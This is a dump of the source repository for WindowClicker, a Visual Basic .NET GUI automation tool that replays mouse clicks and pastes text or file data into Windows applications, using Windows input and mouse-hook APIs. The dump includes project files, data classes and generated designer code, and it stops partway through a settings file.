├── ReadMe.txt ├── UpgradeLog.htm ├── WC-Setup ├── Release │ ├── WC-Setup.msi.bananas │ └── setup.exe └── WC-Setup.vdproj ├── WindowClicker.sln ├── WindowClicker.suo ├── WindowLicker.v11.suo ├── WindowLicker ├── ExistingControl.vb ├── ExistingWindow.vb ├── Form1.Designer.vb ├── Form1.resx.bak ├── GuiEvent.vb ├── GuiMonitor.vb ├── LoopEvent.vb ├── MonitoredWindow.vb ├── MouseController.vb ├── MouseData.vb ├── My Project │ ├── Application.Designer.vb │ ├── Application.myapp │ ├── AssemblyInfo.vb │ ├── Resources.Designer.vb │ ├── Resources.resx │ ├── Settings.Designer.vb │ ├── Settings.settings │ └── app.manifest ├── NewWindow.vb ├── ScreenReader.vb ├── Snipper.vb ├── TextArea.vb ├── TextReader.vb ├── WindowClicker.vbproj ├── WindowClicker.vbproj.user ├── bin │ ├── Debug │ │ ├── WindowClicker.exe │ │ ├── WindowClicker.pdb │ │ ├── WindowClicker.vshost.exe │ │ ├── WindowClicker.xml │ │ ├── WindowLicker.exe │ │ ├── WindowLicker.pdb │ │ └── WindowLicker.xml │ └── Release │ │ ├── WindowClicker.exe │ │ ├── WindowClicker.exe - Shortcut.lnk │ │ ├── WindowClicker.pdb │ │ ├── WindowClicker.vshost.exe │ │ ├── WindowClicker.vshost.exe.manifest │ │ ├── WindowClicker.xml │ │ ├── chars.txt │ │ └── xss.txt ├── frmAbout.Designer.vb ├── frmAbout.resx ├── frmAbout.vb ├── frmAddWindow.Designer.vb ├── frmAddWindow.resx ├── frmAddWindow.vb ├── frmCurrentWindows.Designer.vb ├── frmCurrentWindows.resx ├── frmCurrentWindows.vb ├── frmLoopEvent.Designer.vb ├── frmLoopEvent.resx ├── frmLoopEvent.vb ├── frmMain.Designer.vb ├── frmMain.resx ├── frmMain.vb ├── frmNewWindows.Designer.vb ├── frmNewWindows.resx ├── frmNewWindows.vb ├── frmOptions.Designer.vb ├── frmOptions.resx ├── frmOptions.vb ├── frmProperties.Designer.vb ├── frmProperties.resx ├── frmProperties.vb ├── frmReminder.Designer.vb ├── frmReminder.resx ├── frmReminder.vb ├── frmTextFields.Designer.vb ├── frmTextFields.resx ├── frmTextFields.vb ├── modMain.vb ├── obj │ └── x86 │ │ ├── Debug │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── TempPE │ │ │ └── My Project.Resources.Designer.vb.dll │ │ ├── WindowClicker.Resources.resources │ │ ├── WindowClicker.exe │ │ ├── WindowClicker.frmAbout.resources │ │ ├── WindowClicker.frmLoopEvent.resources │ │ ├── WindowClicker.frmMain.resources │ │ ├── WindowClicker.frmOptions.resources │ │ ├── WindowClicker.frmProperties.resources │ │ ├── WindowClicker.pdb │ │ ├── WindowClicker.vbproj.FileListAbsolute.txt │ │ ├── WindowClicker.vbproj.GenerateResource.Cache │ │ ├── WindowClicker.xml │ │ ├── WindowLicker.Resources.resources │ │ ├── WindowLicker.exe │ │ ├── WindowLicker.frmMain.resources │ │ ├── WindowLicker.pdb │ │ ├── WindowLicker.vbproj.FileListAbsolute.txt │ │ ├── WindowLicker.vbproj.GenerateResource.Cache │ │ └── WindowLicker.xml │ │ └── Release │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── TempPE │ │ └── My Project.Resources.Designer.vb.dll │ │ ├── WindowClicker.Resources.resources │ │ ├── WindowClicker.exe │ │ ├── WindowClicker.frmAbout.resources │ │ ├── WindowClicker.frmAddWindow.resources │ │ ├── WindowClicker.frmCurrentWindows.resources │ │ ├── WindowClicker.frmLoopEvent.resources │ │ ├── WindowClicker.frmMain.resources │ │ ├── WindowClicker.frmNewWindows.resources │ │ ├── WindowClicker.frmOptions.resources │ │ ├── WindowClicker.frmProperties.resources │ │ ├── WindowClicker.frmReminder.resources │ │ ├── WindowClicker.frmTextFields.resources │ │ ├── WindowClicker.pdb │ │ ├── WindowClicker.vbproj.FileListAbsolute.txt │ │ ├── WindowClicker.vbproj.GenerateResource.Cache │ │ └── WindowClicker.xml └── resources │ ├── CurrentWindows │ ├── AppWindowHS.bmp │ ├── Computer.png │ └── ThumbnailView.png │ ├── PortraitHH.bmp │ ├── PortraitLandscapeHH.bmp │ ├── PrintPreviewHS.bmp │ ├── PropertiesHH.bmp │ ├── TableHS.bmp │ └── WebRefreshHH.bmp └── tesseract-ocr-3.02-win32-portable.zip /ReadMe.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/ReadMe.txt -------------------------------------------------------------------------------- /UpgradeLog.htm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/UpgradeLog.htm -------------------------------------------------------------------------------- /WC-Setup/Release/WC-Setup.msi.bananas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WC-Setup/Release/WC-Setup.msi.bananas -------------------------------------------------------------------------------- /WC-Setup/Release/setup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WC-Setup/Release/setup.exe -------------------------------------------------------------------------------- /WindowClicker.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "WindowClicker", "WindowLicker\WindowClicker.vbproj", "{31A1F597-8704-4A10-A5F3-96FC55EE6D33}" 5 | EndProject 6 | Project("{54435603-DBB4-11D2-8724-00A0C9A8B90C}") = "WC-Setup", "WC-Setup\WC-Setup.vdproj", "{E1806C82-81EA-48B3-9AD0-AF63C7CFD17F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x86 = Debug|x86 11 | Release|x86 = Release|x86 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33}.Debug|x86.ActiveCfg = Debug|x86 15 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33}.Debug|x86.Build.0 = Debug|x86 16 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33}.Release|x86.ActiveCfg = Release|x86 17 | {31A1F597-8704-4A10-A5F3-96FC55EE6D33}.Release|x86.Build.0 = Release|x86 18 | {E1806C82-81EA-48B3-9AD0-AF63C7CFD17F}.Debug|x86.ActiveCfg = Debug 19 | {E1806C82-81EA-48B3-9AD0-AF63C7CFD17F}.Release|x86.ActiveCfg = Release 20 | EndGlobalSection 21 | GlobalSection(SolutionProperties) = preSolution 22 | HideSolutionNode = FALSE 23 | EndGlobalSection 24 | EndGlobal 25 | -------------------------------------------------------------------------------- /WindowClicker.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowClicker.suo -------------------------------------------------------------------------------- /WindowLicker.v11.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/WindowClicker/ea7d93fdce3721612693c851e88f4833cf66e026/WindowLicker.v11.suo -------------------------------------------------------------------------------- /WindowLicker/ExistingControl.vb: -------------------------------------------------------------------------------- 1 | ' Copyright (C) 2014 Nick Dunn 2 | ' 3 | ' This program is free software: you can redistribute it and/or modify 4 | ' it under the terms of the GNU General Public License as published by 5 | ' the Free Software Foundation, either version 3 of the License, or 6 | ' (at your option) any later version. 7 | ' 8 | ' This program is distributed in the hope that it will be useful, 9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | ' GNU General Public License for more details. 12 | ' 13 | ' You should have received a copy of the GNU General Public License 14 | ' along with this program. If not, see . 15 | 16 | Option Explicit On 17 | 18 | Public Class ExistingControl 19 | 20 | Public ParentWindow As String = "" 21 | Public ParentHandle As IntPtr 22 | 23 | Public hWnd As IntPtr 24 | Public ControlClass As String = "" 25 | Public ControlName As String = "" 26 | Public ControlText As String = "" 27 | 28 | Sub New(ParentName As String, ParentHwnd As IntPtr, NewHwnd As IntPtr, NewClass As String, NewName As String, NewText As String) 29 | 30 | ParentWindow = ParentName 31 | ParentHandle = ParentHwnd 32 | 33 | hWnd = NewHwnd 34 | ControlClass = NewClass 35 | ControlName = NewName 36 | ControlText = NewText 37 | 38 | End Sub 39 | 40 | End Class 41 | -------------------------------------------------------------------------------- /WindowLicker/ExistingWindow.vb: -------------------------------------------------------------------------------- 1 | ' Copyright (C) 2014 Nick Dunn 2 | ' 3 | ' This program is free software: you can redistribute it and/or modify 4 | ' it under the terms of the GNU General Public License as published by 5 | ' the Free Software Foundation, either version 3 of the License, or 6 | ' (at your option) any later version. 7 | ' 8 | ' This program is distributed in the hope that it will be useful, 9 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | ' GNU General Public License for more details. 12 | ' 13 | ' You should have received a copy of the GNU General Public License 14 | ' along with this program. If not, see . 15 | 16 | Option Explicit On 17 | 18 | Public Class ExistingWindow 19 | 20 | Public ProcessName As String = "" ' Name of parent process 21 | Public WindowTitle As String = "" ' The Title of the Main Window 22 | Public WindowClass As String = "" 23 | Public hWnd As IntPtr ' The handle of the Main Window 24 | 25 | Sub New(ByVal NewClassName As String, ByVal NewTitle As String, ByVal NewhWnd As String) 26 | WindowClass = NewClassName 27 | WindowTitle = NewTitle 28 | hWnd = NewhWnd 29 | End Sub 30 | 31 | End Class 32 | -------------------------------------------------------------------------------- /WindowLicker/Form1.resx.bak: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /WindowLicker/GuiEvent.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Public Class GuiEvent 20 | 21 | Public Const LEFT_CLICK = 0 22 | Public Const RIGHT_CLICK = 1 23 | Public Const DOUBLE_CLICK = 2 24 | Public Const PASTE_LOOP_NUMBER = 3 25 | Public Const PASTE_FILE_DATA = 4 26 | Public Const PASTE_STATIC_TEXT = 5 27 | Public Const MIDDLE_CLICK = 6 28 | Public Const KEY_DOWN = 7 29 | 30 | '== Mouse position == 31 | Public X As Integer = 0 32 | Public Y As Integer = 0 33 | 34 | Public EventType As Integer = LEFT_CLICK 35 | 36 | '== How many times to repeat the event == 37 | Public Repeat As Integer = 1 38 | 39 | '== Clear or append? == 40 | Public SelectAll As Boolean = False 41 | Public DeselectAll As Boolean = False 42 | 43 | '== Event data == 44 | Public StaticText As String = "" 45 | Public DataFile As String = "" 46 | Public LoopData As New LoopEvent 47 | 48 | End Class 49 | -------------------------------------------------------------------------------- /WindowLicker/GuiMonitor.vb: -------------------------------------------------------------------------------- 1 | Public Class GuiMonitor 2 | 3 | Public TerminateOnAll As Boolean = False 4 | 5 | Private ConditionCount As Integer = 0 6 | Private SatisfiedConditions As Integer = 0 7 | 8 | End Class 9 | -------------------------------------------------------------------------------- /WindowLicker/LoopEvent.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Public Class LoopEvent 20 | 21 | Public StartVal As Integer = 0 22 | Public EndVal As Integer = 0 23 | Public StepVal As Integer = 1 24 | 25 | End Class 26 | -------------------------------------------------------------------------------- /WindowLicker/MonitoredWindow.vb: -------------------------------------------------------------------------------- 1 | Public Class MonitoredWindow 2 | 3 | Public OriginalText As String = "" ' The text being checked 4 | Public hWnd As IntPtr ' The handle of the Main Window 5 | Public IsChanged As Boolean = False ' Has test completed? 6 | 7 | Sub New(WindowText As String, NewHwnd As IntPtr) 8 | OriginalText = WindowText 9 | hWnd = NewHwnd 10 | End Sub 11 | 12 | End Class 13 | -------------------------------------------------------------------------------- /WindowLicker/MouseController.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Imports System.Runtime.InteropServices 20 | 21 | 22 | Public Class MouseController 23 | 24 | Private Declare Auto Function GetDesktopWindow Lib "user32.dll" () As IntPtr 25 | 26 | '== Enum for mouse buttons == 27 | Private Const LEFT_BUTTON As Integer = 0 28 | Private Const MIDDLE_BUTTON As Integer = 1 29 | Private Const RIGHT_BUTTON As Integer = 2 30 | 31 | '== Mouse events == 32 | Private Const LEFT_MOUSE_DOWN As Integer = &H2 33 | Private Const LEFT_MOUSE_UP As Integer = &H4 34 | Private Const MIDDLE_MOUSE_DOWN = &H20 35 | Private Const MIDDLE_MOUSE_UP = &H40 36 | Private Const RIGHT_MOUSE_DOWN = &H8 37 | Private Const RIGHT_MOUSE_UP = &H10 38 | 39 | '== Set offset for input according to host system == 40 | Private Const OFFSET_32_BIT = 4 41 | Private Const OFFSET_64_BIT = 8 42 | 43 | Private intCurrentSystem As Integer = OFFSET_64_BIT 44 | 45 | Private Structure INPUT_64 46 | Public type As Integer 47 | Public mi As MOUSEINPUT 48 | Public ki As KEYBDINPUT 49 | Public hi As HARDWAREINPUT 50 | End Structure 51 | 52 | Private Structure INPUT_32 53 | Public type As Integer 54 | Public mi As MOUSEINPUT 55 | Public ki As KEYBDINPUT 56 | Public hi As HARDWAREINPUT 57 | End Structure 58 | 59 | Private Structure MOUSEINPUT 60 | Public dx As Integer 61 | Public dy As Integer 62 | Public mouseData As Integer 63 | Public dwFlags As Integer 64 | Public time As Integer 65 | Public dwExtraInfo As IntPtr 66 | End Structure 67 | 68 | Private Structure KEYBDINPUT 69 | Public wVk As Short 70 | Public wScan As Short 71 | Public dwFlags As Integer 72 | Public time As Integer 73 | Public dwExtraInfo As IntPtr 74 | End Structure 75 | 76 | Private Structure HARDWAREINPUT 77 | Public uMsg As Integer 78 | Public wParamL As Short 79 | Public wParamH As Short 80 | End Structure 81 | 82 | Private Shared Function SendInput(ByVal nInputs As Integer, ByVal pInputs() As INPUT_32, ByVal cbSize As Integer) As Integer 83 | End Function 84 | 85 | Public Shared Function FindWindow(ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr 86 | End Function 87 | 88 | Public Shared Function ShowWindow(ByVal hWnd As IntPtr, ByVal nCmdShow As Integer) As Boolean 89 | End Function 90 | 91 | Public Shared Function GetWindowThreadProcessId(ByVal hWnd As IntPtr, ByVal lpwdProcessId As IntPtr) As IntPtr 92 | End Function 93 | 94 | Public Sub LeftClick(ByVal ParentForm As Form, ByVal X As Integer, ByVal Y As Integer) 95 | ' Send a left-click event to the system using user-supplied data 96 | '=============================================================== 97 | 98 | MouseClick(ParentForm, X, Y) 99 | 100 | End Sub 101 | 102 | Public Sub MiddleClick(ByVal ParentForm As Form, ByVal X As Integer, ByVal Y As Integer) 103 | ' Send a middle-click event to the system using user-supplied data 104 | '================================================================= 105 | 106 | MouseClick(ParentForm, X, Y, MIDDLE_BUTTON) 107 | 108 | End Sub 109 | 110 | Public Sub RightClick(ByVal ParentForm As Form, ByVal X As Integer, ByVal Y As Integer) 111 | ' Send a right-click event to the system using user-supplied data 112 | '================================================================ 113 | 114 | MouseClick(ParentForm, X, Y, RIGHT_BUTTON) 115 | 116 | End Sub 117 | 118 | Private Sub MouseClick(ByVal ParentForm As Form, ByVal X As Integer, ByVal Y As Integer, Optional ByVal MouseButton As Integer = LEFT_BUTTON) 119 | ' Send a click event to the system using user-supplied data 120 | '========================================================== 121 | Dim ptScreenPoint As Point = ParentForm.PointToScreen(Point.Empty) 122 | Dim iptInputDetails(1) As INPUT_32 123 | 124 | 125 | '== Set screen Co-ordinates == 126 | ptScreenPoint.X = X 127 | ptScreenPoint.Y = Y 128 | 129 | '== Move the cursor to the co-ordinate and send the click event == 130 | Cursor.Position = ptScreenPoint 131 | 132 | '== Mouse-down event == 133 | iptInputDetails(0).type = 0 134 | iptInputDetails(0).mi.dx = ptScreenPoint.X 135 | iptInputDetails(0).mi.dy = ptScreenPoint.Y 136 | 137 | Select Case MouseButton 138 | Case MIDDLE_BUTTON 139 | iptInputDetails(0).mi.dwFlags = MIDDLE_MOUSE_DOWN 140 | Case RIGHT_BUTTON 141 | iptInputDetails(0).mi.dwFlags = RIGHT_MOUSE_DOWN 142 | Case Else 143 | iptInputDetails(0).mi.dwFlags = LEFT_MOUSE_DOWN 144 | End Select 145 | 146 | 147 | '== Mouse-up event == 148 | iptInputDetails(1).type = 0 149 | iptInputDetails(1).mi.dx = ptScreenPoint.X 150 | iptInputDetails(1).mi.dy = ptScreenPoint.Y 151 | 152 | Select Case MouseButton 153 | Case MIDDLE_BUTTON 154 | iptInputDetails(1).mi.dwFlags = MIDDLE_MOUSE_UP 155 | Case RIGHT_BUTTON 156 | iptInputDetails(1).mi.dwFlags = RIGHT_MOUSE_UP 157 | Case Else 158 | iptInputDetails(1).mi.dwFlags = LEFT_MOUSE_UP 159 | End Select 160 | 161 | 162 | '== Send events == 163 | SendInput(2, iptInputDetails, Marshal.SizeOf(GetType(INPUT_32))) 164 | 165 | End Sub 166 | 167 | End Class 168 | -------------------------------------------------------------------------------- /WindowLicker/MouseData.vb: -------------------------------------------------------------------------------- 1 | ' WindowClicker - GUI Automater 2 | ' Copyright (C) 2014 Nick Dunn 3 | ' 4 | ' This program is free software: you can redistribute it and/or modify 5 | ' it under the terms of the GNU General Public License as published by 6 | ' the Free Software Foundation, either version 3 of the License, or 7 | ' (at your option) any later version. 8 | ' 9 | ' This program is distributed in the hope that it will be useful, 10 | ' but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ' GNU General Public License for more details. 13 | ' 14 | ' You should have received a copy of the GNU General Public License 15 | ' along with this program. If not, see . 16 | 17 | Option Explicit On 18 | 19 | Imports System.Runtime.InteropServices 20 | Imports System.Reflection 21 | Imports System.Windows.Forms 22 | 23 | 24 | Public Class MouseData 25 | 26 | '== Button click events == 27 | Public Event LeftButtonClick(ByVal sender As Object, ByVal e As MouseEventArgs) 28 | Public Event RightButtonClick(ByVal sender As Object, ByVal e As MouseEventArgs) 29 | 30 | '== Hooking delegate function == 31 | Private Delegate Function MouseHookCallBack(ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As IntPtr) As Integer 32 | 33 | Private mhcCallBackDelegate As MouseHookCallBack 34 | Private intMouseHookID As Integer 35 | 36 | Private Enum MouseMessages 37 | '== Mouse event enum == 38 | WM_LEFT_BTN_DOWN = 513 39 | WM_LEFT_BTN_UP = 514 40 | WM_LEFT_DBLCLICK = 515 41 | WM_RIGHT_BTN_DOWN = 516 42 | WM_RIGHT_BTN_UP = 517 43 | WM_RIGHT_DBLCLICK = 518 44 | End Enum 45 | 46 | Private Structure ScreenPoint 47 | '== Mouse co-ordinates == 48 | Public x As Integer 49 | Public y As Integer 50 | End Structure 51 | 52 | Private Structure MouseHookStruct 53 | '== Mouse data used for hooking == 54 | Public pt As ScreenPoint 55 | Public hwnd As Integer 56 | Public wHitTestCode As Integer 57 | Public dwExtraInfo As Integer 58 | End Structure 59 | 60 | '== Hook into Windows DLL for mouse events== 61 | Private Shared Function CallNextHookEx( _ 62 | ByVal idHook As Integer, _ 63 | ByVal nCode As Integer, _ 64 | ByVal wParam As IntPtr, _ 65 | ByVal lParam As IntPtr) As Integer 66 | End Function 67 | 68 | Private Shared Function SetWindowsHookEx _ 69 | (ByVal idHook As Integer, ByVal HookProc As MouseHookCallBack, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer 70 | End Function 71 | 72 | _ 73 | Private Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Integer 74 | End Function 75 | 76 | Public Sub New() 77 | ' Class constructor for MouseData 78 | '================================ 79 | 80 | If intMouseHookID = 0 Then 81 | '== Get Windows Hook to monmitor mouse events == 82 | mhcCallBackDelegate = AddressOf MouseHookProc 83 | intMouseHookID = SetWindowsHookEx(CInt(14), mhcCallBackDelegate, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly.GetModules()(0)), 0) 84 | 85 | '== Check for success/failure == 86 | If intMouseHookID = 0 Then 87 | MsgBox("Failed to create hook into user32.dll!", MsgBoxStyle.Critical, "Error") 88 | End If 89 | End If 90 | 91 | End Sub 92 | 93 | Public Sub Dispose() 94 | ' Class destructor - clean up all data, hooks, etc. 95 | '================================================== 96 | 97 | If Not intMouseHookID = -1 Then 98 | UnhookWindowsHookEx(intMouseHookID) 99 | mhcCallBackDelegate = Nothing 100 | End If 101 | 102 | '== Mark as closed == 103 | intMouseHookID = -1 104 | 105 | End Sub 106 | 107 | Private Function MouseHookProc(ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As IntPtr) As Integer 108 | ' Monitor Windows events and raise an event in any case where it's an event we're looking for 109 | '============================================================================================ 110 | Dim mhsMouseData As MouseHookStruct 111 | 112 | '== Do we have a valid event? == 113 | If nCode >= 0 Then 114 | 115 | '== Obtain mouse data from system == 116 | mhsMouseData = Marshal.PtrToStructure(lParam, GetType(MouseHookStruct)) 117 | 118 | '== Check for mouse events == 119 | Select Case wParam 120 | Case MouseMessages.WM_LEFT_BTN_UP 121 | '== Left click == 122 | RaiseEvent LeftButtonClick(Nothing, New MouseEventArgs(MouseButtons.Left, 1, mhsMouseData.pt.x, mhsMouseData.pt.y, 0)) 123 | Case MouseMessages.WM_RIGHT_BTN_UP 124 | '== Right click == 125 | RaiseEvent RightButtonClick(Nothing, New MouseEventArgs(MouseButtons.Right, 1, mhsMouseData.pt.x, mhsMouseData.pt.y, 0)) 126 | End Select 127 | End If 128 | 129 | Return CallNextHookEx(intMouseHookID, nCode, wParam, lParam) 130 | 131 | End Function 132 | 133 | End Class 134 | -------------------------------------------------------------------------------- /WindowLicker/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18444 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.WindowClicker.frmMain 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /WindowLicker/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | true 4 | frmMain 5 | false 6 | 0 7 | true 8 | 0 9 | true 10 | -------------------------------------------------------------------------------- /WindowLicker/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /WindowLicker/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18444 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | Imports System 15 | 16 | Namespace My.Resources 17 | 18 | 'This class was auto-generated by the StronglyTypedResourceBuilder 19 | 'class via a tool like ResGen or Visual Studio. 20 | 'To add or remove a member, edit your .ResX file then rerun ResGen 21 | 'with the /str option, or rebuild your VS project. 22 | ''' 23 | ''' A strongly-typed resource class, for looking up localized strings, etc. 24 | ''' 25 | _ 29 | Friend Module Resources 30 | 31 | Private resourceMan As Global.System.Resources.ResourceManager 32 | 33 | Private resourceCulture As Global.System.Globalization.CultureInfo 34 | 35 | ''' 36 | ''' Returns the cached ResourceManager instance used by this class. 37 | ''' 38 | _ 39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 40 | Get 41 | If Object.ReferenceEquals(resourceMan, Nothing) Then 42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("WindowClicker.Resources", GetType(Resources).Assembly) 43 | resourceMan = temp 44 | End If 45 | Return resourceMan 46 | End Get 47 | End Property 48 | 49 | ''' 50 | ''' Overrides the current thread's CurrentUICulture property for all 51 | ''' resource lookups using this strongly typed resource class. 52 | ''' 53 | _ 54 | Friend Property Culture() As Global.System.Globalization.CultureInfo 55 | Get 56 | Return resourceCulture 57 | End Get 58 | Set 59 | resourceCulture = value 60 | End Set 61 | End Property 62 | End Module 63 | End Namespace 64 | -------------------------------------------------------------------------------- /WindowLicker/My Project/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /WindowLicker/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18444 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | 